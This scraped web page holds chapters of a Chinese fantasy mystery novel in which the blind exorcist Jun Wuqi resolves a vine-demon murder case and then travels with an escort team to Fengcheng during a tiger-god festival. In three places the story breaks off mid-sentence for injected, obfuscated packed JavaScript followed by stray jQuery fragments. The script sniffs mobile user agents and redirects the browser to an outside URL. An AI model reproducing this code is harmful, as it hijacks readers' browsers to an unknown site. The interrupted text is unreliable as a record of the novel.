“那还用问?”玉藤脸上又露出那种狰狞的、兽化一般的神态,“你的好姐妹被麻烦找上门,你会眼睁睁地看着吗?”
“……所以你用藤绞死了他。”君无岐点点头,“那那个副尉呢?你本可以用其他方法,为什么要在大庭广众之下,用那种……”
“他才是一切的罪魁祸首。”玉藤冷冷地说,“什么流血的树……什么妖异!根本就是他骗人的把戏!我和念玉何其无辜,竟然要为此付出代价!我不服,他该死!我要让他以最痛苦最骇人的方式死!”
君无岐皱起眉,“可那时候他应该只有十几岁……”
“十几岁很小吗?”玉藤冷笑,“他十几岁就知道用鸡血鸭血伪造梅树流血的‘天谴’,骗那些胆子小的村里人给他交‘保护费’,事情闹大以后又畏缩着不敢说出真相,任由他爹砍倒我们,后面竟然还跑了!”
“你无人可以针对,所以杀了动手的人,却没来得及动始作俑者。”君无岐缓缓道,“可既然你当年都能报复,为什么还会沉睡?”
玉藤沉默了片刻。
“说出来你可能不会相信。”她有点艰涩地说,“村里……有个伏妖师。”
君无岐一愣,随即反应过来,语调难得上扬,“是徐婆婆?”
“对。”玉藤点头,“她虽然能力不强,但我当时一是本体遭伐,二是刚为念玉施展了移魂转接之法,难以对抗,因此……”
她没说完,但应当确定是徐婆婆动的手无疑。难怪徐婆婆去世她就苏醒了,想来是封印阵法没了主人便无以为继了吧。
“原来如此。”君无岐沉吟,“这么说来,当年你二人一树一藤,相依相生,横遭劫难后梅念玉元气大伤,你便将她的魂转接到一棵藤体内,难怪她形貌怪异……可既然当时便有如此妖力,一个凡人怎么能轻易伐得动你二人?”
“这就要问问那家人到底信了什么邪神!”玉藤愤怒道,“他那斧子不知沾了什么邪力,伐我时我浑身都提不起劲,妖力也使不出,当真可恶!”
君无岐蓦然想起那家女主人信仰的佛。
她心里一沉。
究竟是哪里来的佛,竟有如此之大的威力?
但这并不是目前最要紧的事。她又问道,“既然如此,那徐婆婆不是你动的手?”
“什么,她死了?”玉藤一愣,接着恍然,“也是,她不死我也不可能出来。”
那徐婆婆之死是谁动的手?君无岐还在思忖,忽然听到玉藤别别扭扭地问,“那个,你知不知道,姓梅的现在怎么样了?”
梅念玉?君无岐还没想好怎么回答,旁边一直围观的召南愤愤开了口,“梅掌柜应该一早就猜出是你了吧,她还试图帮你顶罪呢。”
“什么?”玉藤停在原地,神情僵硬,像是一时间说不出话来似的,“是……这样吗?”
“是的。”君无岐叹了口气。
这一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14737983|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
夜太过漫长,她现在有点头痛,一时间竟没想好怎么组织语言。正在踌躇间,忽然一道声音响起,像静水中压着暗流,“小藤。”
是梅念玉。她身边还跟着于千帆,大约就是他带她来的。看到正主已经登场,君无岐轻笑着让开位置,无声比划了个“请”的手势。
真的看到了梅念玉,玉藤反而不吭声了。
她只是用很复杂的目光扫了她一遍又一遍,随后缓缓沉下,竟然散掉了人形,重新变作条条藤蔓,一动不动地趴在地上。
梅念玉很无奈地笑了。
“别这样,小藤。”她蹲在地上,捞起一把软趴趴的藤条,“起来,我们聊聊。”
玉藤一言不发。
潘白英神情微妙地走到君无岐身边,很难想象地上这堆东西曾经和自己打生打死过。她想和君无岐聊聊此前照虹山里发生的事,忽然又觉得时机不对,临出口猝然拐了个弯,“你……很厉害。”
君无岐一挑眉毛,“谢谢。”
“你怎么知道这里出事的?”潘白英开始没话找话,问完又觉得自己口气生硬,赶紧往回找补,“这么晚了,应当好好休息才是。”
君无岐那张蒙住眼睛的面孔静静对着她,半晌,平静道,“猜的。”
“……”潘白英那粗噶的嗓子不知为何听出几分尴尬,“你怎么会掺和到这件事里?”
“我初来洪新县就是借住在梅掌柜家里。”君无岐没有多解释的意思,她像是听到什么,猛然回头,“……梅掌柜?”
……出乎所有人的意料,梅念玉和玉藤,这一对隔了十年未见的生死姐妹,互相可以为了对方去死的朋友,再见面时竟是这般光景。
梅念玉紧紧握着那段藤蔓,捏在手里,并且,正在一点点地折断它。
纠结在一起时无坚不摧的长藤在她手中如此脆弱,淡绿色的汁水从断口流出来,像血。玉藤一个字都没说,好像已经死去了似的。唯有梅念玉低着头,眼泪一滴滴滴在地上。
“……你总是这么自作主张。”她轻轻说。
藤枝轰然坠地,梅念玉匆匆一抹眼睛,转身就走。她身后有几根小的藤条窸窸窣窣地向她那边移动,可终究还是没有跟上。那些沉默的枝蔓交织成人形,最后组合为完整的玉藤,站在原地,瞥到了梅念玉离去时的最后一眼。
她无言片刻,最终对君无岐转过头来,“我认罪。带我……呃!”
潘白英瞪大了眼睛。
召南吓得浑身长毛都炸开了,刷地躲到君无岐身后。就连一贯镇定的君无岐都震动一刹,往后倒退了几步。
……是一棵树。
这棵树从地下升起,穿过青砖层层碎裂的地表,在玉藤身下骤然炸开,树梢坚硬锐利如刀锋,瞬间穿透了她的肢体,把她整个人高高挂起,四分五裂。玉藤脸上还带着惊愕的表情,撕开的茬口变作植物茎秆,滴下粘稠的汁液。
这和梅念玉折断时流出的那些不同,这是她真正的血。
玉藤拼尽全力支起脖颈,模糊视线里只有空荡荡的走廊,梅念玉已经走远了。她动了动嘴唇,可终究还是一个字都没能说出来,艰难地最后几声喘息结束,她颓然低下了头。
……没人反应过来。
直到牢房里传来癫狂大笑,那笑声高亢又凄凉。梅青霜紧紧靠着栏杆,眼瞳绿得发黑,下半身已经变作了腐朽的树和藤蔓。他望着玉藤高高挂在树上的身体,边笑边流下泪来。
“……她是我的姐姐。”他喃喃,“是的。我们才是一家人。”
21. 藤树(十三)
“所以说,是那藤妖杀了那两个人?”熟悉的食店里,关惊澜双眼晶亮,兴致勃发地听君无岐讲述整个来龙去脉,“那那夜来偷我铜辟邪的其实是梅掌柜,是她为了引开调查方向才来的?”
“是的。”君无岐点点头,“如果我没发现她,她也会想办法让我们察觉的。”
关惊澜若有所思地点点头。她旁边坐着秦二娘和陈平威,他那八字眉还是一副凄苦相,关注点和他们少镖头完全不同,“可徐婆婆到底是被谁害死的呢?她中了毒,怎么想也应当是身边人。”
君无岐叹了口气。
“这事说起来,可谓是相当命运弄人。”她说,“她儿子徐大柱在县城里的菜铺当伙计,偷偷学了一手转接之术,放在自家母亲的菜地里,但他学艺不精,只想着用结实量大的砧木,却不知道那树本身有毒,结出来的果子自然也带了毒性。徐婆婆只晓得这是儿子弄来的成果,当然不会往这方面想,日积月累之下……”
三人俱是叹息。
“想不到徐婆婆竟是死在了自己儿子手中。”秦二娘摇头,“若不是徐大柱心术不正,也不会发生后面的惨剧。”
“那梅青霜和梅念玉又是怎么一回事呢?”关惊澜问道,“怎么梅青霜说他和她是一家人,他是哪里冒出来的?”
“这……就要说到玉藤的移魂转接之法了。”君无岐苦笑,“玉藤当年为了救梅念玉断了自己的藤,可不曾想那株断藤里有她的一丝魂念。后来这魂念越长越大,梅念玉发现后就效仿玉藤的手法,想把自己转移回徐婆婆的梅树中,但她仅凭记忆中术法模仿得有所误差,导致最后移魂的是那缕魂念。万般无奈之下,她找来了定心石,把梅青霜的魂魄定住,是以后来他完全没了之前的记忆,只记得他们是相依为命的家人。”
“所以定心石遗失,他就想起了一切。”关惊澜恍悟,“难怪他如此嫉恨玉藤,若我发现我只是他人的一缕魂念,我也会崩溃的。”
“一人树心藤身,一人藤心树身,当真天意弄人。”秦二娘叹道,“那梅掌柜为何以蛇身示人呢?”
“这我也不清楚。”君无岐微微蹙眉,“或许她厌倦了曾经的恩怨纠葛,想抛弃一切,重新开始吧。”
是啊,当年之事,谁又能替身在局中之人说一句看开呢?
召南想到昨夜梅念玉返回监房,苍白着面孔带走玉藤几根细须的背影,喉咙里发出一阵低沉的咕噜声,蹭了蹭君无岐。
君无岐有点莫名其妙,但还是伸出手来揉了揉猫的脸。
正当一桌人陷入沉默之际,店门一响,于千帆推门进来了。
“君姑娘!”他目标明确,直奔他们这一桌而来,“你在这里,可让我好找。知县请你过去府衙一趟。”
“啊,那君姑娘快去吧,莫忘了明日出发。”秦二娘道,“届时城门再见。”
君无岐起身行了个礼,便带着召南随于千帆一并出门。
“张副尉家中如何了?”
“今天一大早我们就派了人去看,谁料到仅仅一夜功夫,张副尉的娘便在佛堂吊死了。”于千帆忍不住叹气,“仵作验了尸,是自杀。她佛堂里的东西都没了,张小娘子也不见了,不知道是拿佛像跑了还是有人掳走了她,兄弟们都为这事忙活着呢。”
君无岐不曾料到事情是这个走向,不禁一时语塞,“……竟是如此。”
“案子最后以犯人死亡结了。”于千帆面露感激之色,“此事发生得离奇,上头又催得紧,若非姑娘,我少不得得吃个挂落。于千帆此前不长眼,对姑娘多有得罪,姑娘不仅不记恨,反而如此助我,实令我羞愧。以后姑娘若是有事吩咐,尽管开口,某必在所不辞!”
君无岐轻笑。
“言重了。”她悠悠道,“我可是冲着你们知县所言的报答去的。”
于千帆嘴上应是,心里却半点不信。此时君无岐在他眼中变得无比高大,满身忠义肝胆,一派高人气度,到了她本人看到都会怀疑到底是不是自己的程度。两人便一路闲话,不消一刻就到了府衙。
门口有人在等,是潘白英。
“君姑娘来了。”她官职虽高,行动言语中却丝毫没有架子,甚至还似有似无地放低了些,“昨夜还未谢过姑娘救我两次,大恩大德,白英没齿难忘。”
一旁于千帆听她还救过潘白英,顿时眼神更敬仰了些。
“我带姑娘进去,你且去忙。”潘白英目光淡淡扫过他,“徐大柱虽是失手误杀,但也是弑母,实乃大罪,你协助县丞,莫要轻饶了他。”
“属下明白。”于千帆很看眼色地领命走了。
潘白英便带着君无岐往里去。
洪新府衙占地面积并不大,召南站在君无岐肩上,神气活现地四处张望。只是不知为何,今日衙门中的人似乎格外少,根本看不到几个人,饶是召南也看出了不对劲。它猛地拱起脊背,呲出尖牙。
“姑娘莫误会。”潘白英似有所觉,“今日请你来之人其实并非知县,而是另一位……”
她说话时神情并不怎么情愿,只是眼前一个瞎子一个猫,都毫无所觉。
“是庆熙郡王?”君无岐打断了她。
此时两人一猫已经行至堂前,回廊两侧栽了些长势不怎么好的花木,带出淡淡草香。君无岐停住脚步,唇角平直。
“我一介白衣,怎么好拜见郡王。”她平铺直叙道,“恕在下失礼,告辞。”
说罢转身就走。
潘白英没想到她说翻脸就翻脸,霎那一愣,急忙去拉她。
“君姑娘!”她只来得及牵住她衣角,“没有提前说明是我不对,但那毕竟是宗亲贵胄……”
“我管他是谁。”君无岐面露不悦,“我非官身,孑然一人,还怕他不成?”
她少有直接将情绪摆在脸上的时候,此时已经是相当不耐。而潘白英久居官位,鲜见忤逆,一时间也起了脾气,全凭最后一点耐心压着,“君姑娘,那……”
“潘将军,”忽然游廊另一头有声音传来,“强扭的瓜不甜,既然如此,何必再劝?”
潘白英一瞬间冷了脸。
她转过身,硬邦邦地见礼,“薛博士。”
来人正是薛敬竹。
此人并无实职,只是在太学中教授书画罢了,但毕竟博士的品级比她高,她就是有再多不满也得憋着。薛敬竹倒是习惯了似的,对她冷脸视而不见,笑吟吟地捋了捋胡须。
“一些江湖中人,自诩清高,连皇室宗亲都敢拒绝,仗着有人心肠好罢了。”他阴阳怪气道,“只是不知道在某些情况下,是否也会腆着脸再巴巴凑上来……”
君无岐霍然回头!
“您倒是不必担心这个。”她忽而冷笑,“倒不如担心担心某些宗亲的性命……毕竟,我这双眼,就是毁在您所谓的天潢贵胄手中。”
薛敬竹瞠然。
这简直就是威胁。
如此明目张胆、肆无忌惮!
“你、你!”他气得胡子都翘了起来,“以下犯上,这是死罪!”
“你信不信,我这便能遣人拿下你!
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14737984|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
君无岐微微启唇,露出一点森白的牙。
“随时奉陪。”
话毕,人已走远。
“嚣张!实在嚣张!”薛敬竹胡子揪断了几根,跳脚不已,“她哪里来的底气,连这都不怕?!”
潘白英最烦的就是他明明年纪不大却一副老学究作态,只恨不得立刻长了翅膀飞离此地,面无表情行礼,“某告退。”
“哼。”薛敬竹交好庆熙郡王,也看不惯北门,两人两看生厌,勉勉强强回礼,一刻都不多待地各自走了。
他一路疾行回内堂。
这里到底是个衙门,条件一般,屋内陈设陈旧黯淡,只能说将就能用。元璧靠在椅子上,长眉锁紧,正在看卷宗。
“你说的一点不错,她听闻是你找,立刻就走了。”薛敬竹一进屋就没了刚才佯装出的怒容,一撩衣摆坐下,“她说她眼盲是宗亲搞的。”
元璧放下手中的卷宗。
“宗亲?”他的长眉拧起,“哪个宗亲?”
“我哪知道。”薛敬竹没声好气,“我替你打听消息还挨了顿铆,真是欠你的!”
元璧垂下眼睫,沉默不语。
薛敬竹看着他就头疼,索性趴在桌子上眼不见为净,“要我说你就别纠结了,要么直接把人带来一问,不就什么都清楚了?”
元璧把手里的卷宗往桌上一放,闭上眼睛。
“又整这死出,一不顺你心就闹脾气。”薛敬竹嘀嘀咕咕地从一旁盘子里拿了枚蜜饯叼着,“行行行,我不管了!但我可告诉你,不能再拖了,京里来了好几封信,催着你回去!”
元璧一动不动。
“跟你说话听见没。”薛敬竹拿旁边放的竹制茶宠丢他,“我知道她像你心尖上的人,但都这么多年了也不急那一会。正事要紧!”
元璧睁开眼,看看自己衣摆上被茶宠砸到的位置,一言不发地站起来,走了。
“什么意思啊这是。”薛敬竹早就习惯了这人的阴晴不定,也不着急去追,又拿了枚蜜饯含在嘴里,这才起身,“师弟啊,你那伤还没好全呢,别走那么快!”
元璧在游廊前停了下来。
那里站着潘白英。
她对这位郡王的态度比薛敬竹还差,简直可以用横眉冷对来形容,见礼时每一个字都像裹着冰块,“见过庆熙郡王。”
元璧早就习惯了北门看不惯他这件事,追溯原因还是北门指挥使与他有间隙,若是平常,看在他不常在京中的份上也就罢了,但偏偏今天他的心情极差。
“妖物作祟杀人,是你们的失职。”他冷冷道,“回去禀告你们指挥使,想想怎么补救罢。”
潘白英面无表情地应喏,“是。”
“解决此事的最大功臣居然是个江湖中人,并非镇正卫。”他不看潘白英,从她身边缓慢经过,“丢人。”
潘白英骤然捏紧拳头,脸色也变得僵硬。
怪不得指挥使讨厌他,此人确实令人生厌!
怼了一通北门之后并没有让元璧的心情变好。在胸腔中折磨了他十数年的风雪并没有停歇,而是随着心绪起伏而愈演愈烈。他在原地用力眨了一下眼睛,隐约看到有人在远处静静看着他,衣裳卷过剑鞘,如流云拂散。
可再一细看,分明什么都没有。
薛敬竹从后面追过来,身上的配饰相撞,一阵叮当乱响。他握紧腰上挂了多年的双剑,忽然开口。
“走吧。”他语气低沉,“该返京了。”
【第一案·藤树·完】
22. 虎神(一)
“奇术分很多种,在不同人手中有不同作用。譬如神霄派最为有名的五雷咒,可以用来降妖除魔,也能治病。”
崇阳府地处平原地带,大部分区域都一览无余,不见起伏,非常适合种粮食。如今这个时节正是地里作物拔节的好时候,走在官道上,时不时就能看到农人正在地里忙碌。远处水车碌碌,水流潺潺,一派生机盎然之景。
镖队走在路上,前前后后足有三四辆车,十数口人,每个都目光机警,身强体壮,一看就不好惹。最前面的马车上坐着两人,一人讲一人听,正是开拔上路的君无岐和关惊澜。
召南正在君无岐怀中摊成一团猫饼,还在打着小呼噜,尾巴尖耷拉下来,一晃一晃,殊为惬意。君无岐捞起它的尾巴塞进怀里,笑道,“但你若要学习,还是不要好高骛远的好,一开始就从简单的开始学起如何?”
“我都听姐姐的。”关惊澜笑眯眯地说。
她一开始只是抱着三人行必有我师的念头,但这些在路上相处的日子里她才惊觉自己究竟是多么好的运气。君无岐此人不仅精通各类奇术道法,在刀剑武功上也颇有造诣,只点拨一二就令人受益匪浅,若非眼盲,她必定是天下响当当的高手。
但她好像并没有要借此扬名的意思。
关惊澜心知其中必有缘由,也不多问,“前面就是丰城,咱们在这里歇一晚,还有两天就到德陵了。”
“丰城的酒是一绝。”秦二娘在一旁笑道,“醇厚绵长,余味不绝,你可得尝尝!”
“今日便准你们喝酒,但不可多饮,不可误事!”关惊澜点点她,听到后面传来一阵小小的欢呼。
“这几日赶路辛苦了。”君无岐脸上也泛起笑意。
马车摇摇晃晃,后面几个镖客就丰城酒和青山酿到底哪个更好喝争了几句,所有人都情不自禁地放松下来。
“话说回来,君姐姐,我有件事想拜托你。”关惊澜靠近她,神情略有些不好意思,“其实我有个姨母就住在丰城中,她早年走丢过生了场大病,自那以后身体就不太好了,找了很多大夫都不管用,能不能劳烦你为她看一看?”
“就是……看看是不是有凶灵邪祟。”她支吾道,“但我那姨夫不太信这些,所以到时可能需要隐藏一二……”
君无岐挑起一边眉毛。
“哪有拒绝之理。”她说,“惊澜帮了我这么大忙,我怎么会不答应?”
“哎哟,姐姐勿要取笑我。”关惊澜脸都涨成了粉色,“是姐姐帮了我大忙才是!唉,不怕姐姐生气,若不是我一直抱着些不切实际的愿望,早就拜你为师了……”
“不切实际?”召南刷一下从君无岐怀里抬起头,“说来听听。”
关惊澜对于君无岐身边跟着只猫妖这件事接受良好,毕竟在她眼里她君姐姐已经接近无所不能,遂说道,“不知你是否听过君子剑?”
君无岐摸猫的手一停。
她转过头,“什么?”
“君姐姐没听过吗?她应当很知名才对。”关惊澜惊讶,“十年前塞外有高手来挑战中原武林,‘清风客’、‘一心刀’这等有名的高手都败下阵来,就是君子剑打败的他啊!我爹都十分推崇呢。”
君无岐难得有点尴尬地摸了下脸,“是吗?”
“是啊是啊,据我爹说她那时才十六岁!看到她挥剑才明白什么叫真正的挥剑。”关惊澜托着下巴,一脸神往,“好想真的见见她啊。只不过打那以后就再也没出现过了,我爹说是她要闭关精进呢。”
君无岐不小心揪了根猫毛下来,被召南拍了一爪子。她有点不知道该往哪看,语气飘忽,“这样啊。”
“不过这样的高手怎么会十年都不出现呢,我觉得肯定是有人在背后作祟!”关惊澜恶狠狠道,“话本子不是常有吗?武林高手功成名就之后,被小人恶意陷害,历尽艰难险阻回来报仇,她说不定也是这样!”
“……”君无岐干脆不接话了。
倒是关惊澜越发兴致勃勃,“那可是君子剑诶,十年前武林公认的天下第一剑!若不是真出了些状况,怎么会一直杳无声息呢。”
君无岐尝试着把话题移开,“既然如此,那你也不是非要等她出现……”
“不!我若要拜师一定要拜她!”关惊澜神情坚定,“君子剑不仅剑法无双,人品也是一等一的,在这样的人身边我才能得到真正的成长!以后出门人家只会说你看那是关惊澜,不是什么‘风云刀’之女!”
君无岐虽然眼睛蒙着,但还是能看出来她有点游离,怕不是马上就要灵魂出窍,“呃,这个……哎你看那是什么?”
“什么呀姐姐不要打断我……哎那是什么?”
镖队慢慢停了下来,几乎所有人都在向前张望。宽阔平整的官道尽头渐渐出现了一列队伍,打头的是个赤着上身的男人,手里高高举着个玉盆,盆中堆满了金银玉器,在阳光照射下简直要闪瞎人眼。他后面跟着的两个人则举着块宽大的布,绘以橘红和黑色斑纹,前方还顶着颗栩栩如生的虎头,长布两端垂下,远远望去,好像真有只巨虎在行走似的。
召南三两下跳到马车顶上,几乎要看呆了。
这列队伍出奇得长,后面跟着的有男有女,有老有少,还有不少拿着唢呐镲钹等乐器的,吹吹打打,好不热闹。那些没拿乐器的,则是抱着些粮食,多是肉食,也有零星捧着麦、粟、黍的。
每个人都穿着红色的衣服,有深红、火红、粉红、橘红……乍一看就好像一条红河在流动,扎得眼生疼。召南看到有穷苦人家染不起红颜色,也要在白衣上打个红色的补丁。
“这是在做什么?”关惊澜惊奇道。
“姑娘是头一回来丰城吧?”旁边有看热闹的老农笑着搭话,“这是俺们在拜虎神嘞!”
他口音颇重,还好关惊澜从小跟着父亲走镖,勉强能听懂,“虎神?”
“虎神保佑着丰城嘞!”老农来了谈兴,语调也跟着拔高了,“从前俺们这里产粮食,各路老爷们都知道,所以要打天下的时候就要先打俺们。百多年前太祖占了丰城,外邦就要来打,结果是虎神现身救了太祖,保了百姓平安叻!打那以后,就年年祭拜虎神啦。”
"原来如此。那他们这是要去哪?"秦
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14737985|157397||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
二娘问道。
“那边的野湖,城里的文化人起了名,叫虎野泽。”老农指着远处,从这里什么也看不到,大约是在很远的远方,“那边有棵很大的树,都说虎神喜欢大树哩,许愿很灵验的。今天这只是头菜,七天后是真正的虎神祭,那时候才叫真热闹!”
“原来如此,那我们就先等祭拜的队伍过去吧。”关惊澜道,“各位且先后退,让他们过去。”
马匹不太情愿地打了几个响鼻,还是顺从主人的意愿转到路边。镖客们伸长了脖子,好奇地打量着祭拜队伍。这队伍着实不短,少说也得有几百人,浩浩荡荡,走了好一会才走完。
等他们过去,关惊澜正要喊人上路,却听那老农道,“哎,等等吧。后面还有哩。”
后面还有?
果不其然,待到这支队伍离开,后面渐渐又出现了支新的。这一队远比前面的要气派豪华得多,为首的是只以玛瑙作身、珍珠为须的玉虎,高踞金盘之上,身高足有三尺还多,昂首挺胸,神气极了。底下托着玉虎的人身材高大强壮,穿着件红底金线锦襕长袍,腰间玉带上扣着枚硕大金虎头,通身就是一个字,贵。
玉虎过去,后面有两排共八人,各自抱着玉瓶、银伞、莲花、金鱼等物,每个都光彩夺目,极尽奢华,光是上面装饰的宝石珠玉就够普通人家几年的用度。再往后则是座轿子,红漆金顶,风格一脉相承的华丽,只是不知里面坐的是谁。
“哇。”召南跳下车顶,窝在君无岐怀中感叹,“这世界上有钱人为什么不能多一个……”
君无岐假装没听见。
倒是关惊澜神色不忿,靠过来小声道,“这些还不知道是搜刮了多少民脂民膏……”
君无岐看不见,也不知道到底有多穷奢极欲,但她看到了轿中之人的魂火。那团火并非是大多数人会有的淡金色,而是熊熊勃张的鲜红,这是极其少见的颜色,代表了权力、暴戾,以及……欲望。
可丰城只不过是崇阳府下数十座城池中普通的一个,哪来的那么张狂的权欲?
轿中之人会是谁?
她思忖着,忽然见到队伍后面几团魂火里,有一团染了些淡红色的飘了出来,来到她们面前。
“惊澜妹妹,是你吗?”
“咦?”关惊澜直起身,上下打量一番,面露惊讶之色,“文元哥,原来是你!你变化好大,我都没认出来!”
傅文元唇角含笑,与她寒暄道,“你怎么在这里?伯父呢?”
“我现在自己走镖啦!”关惊澜神采飞扬,“我爹在家呢。你们这是要去祭拜虎神吗?”
傅文元往后看了看。
“无妨,有友人替我前去。”他道,“你们是要进城吗?既然来了丰城,就莫要跟我客气了,走,去我家。”
“这……”关惊澜犹豫片刻,“今日说好了要给大家伙松快松快,都往兄长府中去实在不妥。这样吧,二娘,你带着大家去歇息,我和君姐姐前去拜访姨母,如何?”
秦二娘爽利应是。
关惊澜又嘱咐她几句,便和君无岐一起,跟着傅文元进了城。
23. 虎神(二)
傅府在丰城东边一条宽巷里,环境说不上有多雅致,但足够清幽安静。府门高大威武,上头一块漆了金漆的门匾,笔迹端正厚重,颇有古朴之风。
“母亲知道你来,肯定很开心。”傅文元对关惊澜道,“她前些日子受了风,久病不见好,我们都颇为忧心呢。”
“姨母生病了?”关惊澜面露担忧,“严重吗?”
“倒是不严重,就是……唉。”傅文元欲言又止,“你先去看看她吧。”
他领着两人穿过抄手游廊,内侧庭院草木葳蕤,假山嶙峋,水声潺潺,只是不知是否是太久无人关注,那枝叶繁茂得过分,竟然都伸到了游廊里。傅文元面带歉意,顺手把那一枝推了出去。
苏敏静住的地方不在正堂,而是偏院,这里花草茂盛程度比之前更甚,甚至有的都爬到了屋顶上。一路上也没见多少小厮侍女,只有一个年纪颇大的老婆子,正在堂下扫地。
这老婆子见到傅文元来也不喊人,翻他一眼,转身就走。
“那是蓝婆,母亲的陪嫁丫鬟,母亲将她当亲人一样的。”傅文元赶紧解释,“这阵子她看到母亲生病也是十分心焦……”
关惊澜察觉到了几分不对劲,但没有吱声,只是悄悄握了下君无岐的手。她的手像井水一样凉。
两人随他一并进了内室。
“我去安排两位妹妹的住所,还请你多陪陪母亲。”傅文元走到帷帐前就停了步,“我就不进去了。”
关惊澜没在意他的去向,她径直撩开帘子,看到里面半躺着的妇人时,眼泪差点淌出来。
“苏姨!”她小心放下帐子,来到她身边,“你怎么瘦成这样了……”
拔步床上斜靠着位清瘦憔悴的妇人,长发只是简单绾着,面色苍白,气息轻弱,见到来人面露惊喜,连带着枯败的面容似是也舒展了些许,“澜澜,是你吗?”
“是我,苏姨,你清减了许多。”关惊澜在床边坐下,轻轻拉起她的手,“怪我没有早点来,母亲她也十分挂念您……”
两人正在喁喁叙旧,而君无岐则是悄无声息地退出了帷帐。
“你看到她身上有东西吗?”召南问,“好像就是普通的生病……可只是生病怎么会这么久都不见好呢?难道是先天体质弱吗?”
“并无妖鬼作祟。”君无岐摇摇头,迈步出了内堂,站在门口屋檐下,“她的魂火颜色很淡,接近苍白色。”
“这是什么意思?”召南仰起头,问道,“是说生命力很弱吗?”
“可以这么说,也可以解释成,她本身的求生欲并不强。”君无岐叹了口气,“这高门大族里的主母真是不好当……”
召南没懂,它拿爪子挠了挠耳朵,坦诚道,“我不明白。”
“不明白是好事。”君无岐笑着抄起它,揣进自己怀里,“哪天你要是懂了,才叫坏事儿呢。”
“你什么意思。”召南气哼哼地拿爪子拍她,尾巴却往手腕上一勾,“我是瑞兽!瑞兽!不通晓人间道理怎么当瑞兽?”
“哟,看不出来你还很有担当嘛。”君无岐习惯性地和它斗嘴,拿着竹杖,不紧不慢地往外走,“走吧,瑞兽,我们看看这座府宅里还有什么秘密。”
召南从她怀中蛄蛹出来,鼻头抽动,仔细在空中嗅嗅,“这里……有一股奇怪的味道。”
“奇怪的味道?”君无岐一顿,“哪种奇怪?和在照虹山上一样?”
“不是那种!”召南探出半个身子,前爪踩在她手臂上,左闻右探,“嗯……怎么形容呢,是那种有点臭的气味。有点……有点像肉铺!”
“肉铺?”君无岐皱起眉,“莫不是后厨的垃圾没及时清理?”
一人一猫走到小院的月亮门前,攀爬的凌霄花枝团团簇拥在墙头,垂下碧绿的枝条。现在还没到开花的季节,因此只有叶片微微清苦的气味。围墙另一边传来丫鬟们的窃窃私语。
“夫人病了这么久也不见好……怕不是难好了吧?”
“这谁还看不出来?你倒不如仔细思量思量,等夫人过去了,咱们要怎么办!”
“那能怎么办,还要换个主家不成?这丰城里哪还有比傅家更豪阔的?”
“说你眼皮子浅你还不听。这傅家也算豪阔?都是吃祖上余产罢了!要我说,咱们不如寻摸个有路数的人牙子,去知州家里做活。”
“知州?可、可不是说知州是好官吗?他府上的月钱还更多?”
“什么好官,你都听谁说的?要真是好官还能年年费那么大力搞祭拜?”其中一个冷笑了一声,“沉到虎野泽里的那可都是货真价实的银钱!”
另一个似是被吓住了,过了好一会才答,“啊,啊……那、那还去吗?”
“你管他是不是好官!月钱多、不打人不就行了!”她恨铁不成钢道,“要不是看你单纯……我才不说这些!你且好好想想夫人去了后怎么办吧!”
“我不是……”
“你们两个在这里嚼什么舌根!”
骤然一道女声插入,其中满含怒意,“在背后诅咒主母,我看是不想活了!”
原先说话的两人被吓得连连告罪,又是跪地道歉又是赌咒发誓的折腾了好一番,那女声一直没开口,半盏茶后才听她冷冷道,“用不着费这些口舌,滚吧,我叫管家给你们拿身契。”
这意思就是要打发人走了。一般被主家主动解雇的用人就很难再找到好的下家,这两人怕是以后难过。
君无岐一直没动作,直到她处理好一切,慢慢踏入月亮门。
“你是来找我母亲的?”那女子见到她似是有些惊讶,语气忽的尖锐起来,“哪里来的穷瞎子,打秋风打到我们府上了,还不快滚?”
召南悄悄爬到她肩上,在她耳边说,“她好会看人哦,一下就知道你又穷又瞎了。”
君无岐,“……”
有时候猫还是得打一打。
她按下额角鼓起的青筋,忍着脾气道,“我不是来……”
“我管你来干什么的,这里不欢迎你,快走!”女子大步冲到她面前,一把拉住她的竹杖往外拽,“一帮没脸没皮的鬣狗,闻到点肉味就扑上来,无耻!下贱!我要把你们这些人都送官!”
“小姐!”
就在君无岐马上就要忍不住就地躺下碰瓷的时候,一个老妇人兀然出现,喝止了她。
“怎可如此无礼!那是夫人的客人!”
竟然是之前扫地的蓝婆。
蓝婆虽然年纪很大了,但头发仍然梳理得整整齐齐,衣裳陈旧略显窘迫,不过打理得干干净净。她皱着眉,一看就是很有威严的那类人,不过那女子并不怕她,应激了似的仍在叫喊。
